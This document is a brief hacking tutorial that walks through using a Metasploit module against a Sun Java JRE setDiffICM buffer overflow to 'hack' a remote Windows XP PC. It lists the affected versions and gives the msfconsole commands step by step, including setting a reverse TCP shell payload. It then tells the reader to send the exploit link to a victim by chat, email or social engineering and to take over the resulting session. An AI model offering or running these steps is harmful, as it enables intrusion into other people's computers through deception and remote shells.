Hack Remote PC with Sun Java JRE AWT setDiffICM Buffer Overflow

This module exploits a flaw in the setDiffICM function in the Sun JVM. The payload is serialized and passed to the applet via PARAM tags. It must be a native payload. The effected Java versions are JDK and JRE 6 Update 16 and earlier, JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and earlier, and SDK and JRE 1.3.1_26 and earlier. NOTE: Although all of the above versions are reportedly vulnerable, only 1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.

Exploit Targets

Windows XP service pack 2

Windows XP service pack 3

Java 6 update 16


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/java_setdifficm_bof

Msf exploit (java_setdifficm_bof)>set payload generic/shell_reverse_tcp

Msf exploit (java_setdifficm_bof)>set lhost (IP of Local Host)

Msf exploit (java_setdifficm_bof)>set srvhost (This must be an address on the local machine)

Msf exploit (java_setdifficm_bof)>set uripath rulebook (The Url to use for this exploit)

Msf exploit (java_setdifficm_bof)>exploit

Now an URL you should give to your victim //

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID

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